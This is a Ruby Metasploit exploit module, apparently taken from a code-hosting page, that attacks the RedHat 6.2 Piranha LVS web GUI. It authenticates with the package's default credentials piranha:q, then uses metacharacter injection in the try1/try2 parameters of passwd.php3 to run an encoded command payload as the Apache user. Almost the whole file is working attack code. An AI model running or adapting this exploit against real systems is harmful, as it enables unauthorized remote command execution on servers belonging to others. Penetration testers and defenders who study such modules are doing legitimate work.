104 lines
3.5 KiB
Ruby
104 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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HttpFingerprint = { :pattern => [ /Apache/ ] }
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution',
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'Description' => %q{
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This module abuses two flaws - a metacharacter injection vulnerability in the
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HTTP management server of RedHat 6.2 systems running the Piranha
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LVS cluster service and GUI (rpm packages: piranha and piranha-gui).
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The vulnerability allows an authenticated attacker to execute arbitrary
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commands as the Apache user account (nobody) within the
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/piranha/secure/passwd.php3 script. The package installs with a default
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user and password of piranha:q which was exploited in the wild.
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},
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'Author' => [ 'patrick' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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# Default password
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[ 'CVE', '2000-0248' ],
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[ 'OSVDB', '289' ],
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[ 'BID', '1148' ],
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# Command Execution
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[ 'CVE', '2000-0322' ],
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[ 'OSVDB', '1300' ],
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[ 'BID', '1149' ]
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],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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'BadChars' => "\x22\x27", # magic_quotes_gpc
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# NOTE: We specify our own custom-ish encoder here.
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# This is due to lots of incompatabilities with the old RedHat 6.2 test system.
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# 1. inetd exists, but the syntax is no good.
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# 2. telnet exists
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# 3. /dev/tcp doesn't work.
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# 4. PHP's magic_quotes_gpc is on by default, causing escaping of single/double quotes.
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# 5. echo -ne doesn't work
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'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl'
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}
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},
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'Targets' =>
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[
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[ 'Automatic (piranha-gui-0.4.12-1.i386.rpm)', { } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 04 2000'))
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register_options(
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[
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OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
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OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'q'])
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], self.class)
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end
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def exploit
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cmd = Rex::Text.uri_encode(payload.encoded, 'hex-normal')
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str = "/piranha/secure/passwd.php3?try1=q+;#{cmd}&try2=q+;#{cmd}&passwd=ACCEPT"
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print_status("Sending GET request with encoded command line...")
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res = send_request_raw({
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'uri' => str,
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'method' => 'GET',
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'headers' =>
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{
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'content-type' => 'application/x-www-form-urlencoded',
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},
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}, 3)
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if not res
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print_error("Invalid response, not likely to be vulnerable")
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return
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end
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if res.code == 401
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print_error("401 Authorization Required! Our Credentials not accepted!")
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elsif (res.code == 200 and res.body =~ /The passwords you supplied match/)
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print_status("Command successfully executed (according to the server).")
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end
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end
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end
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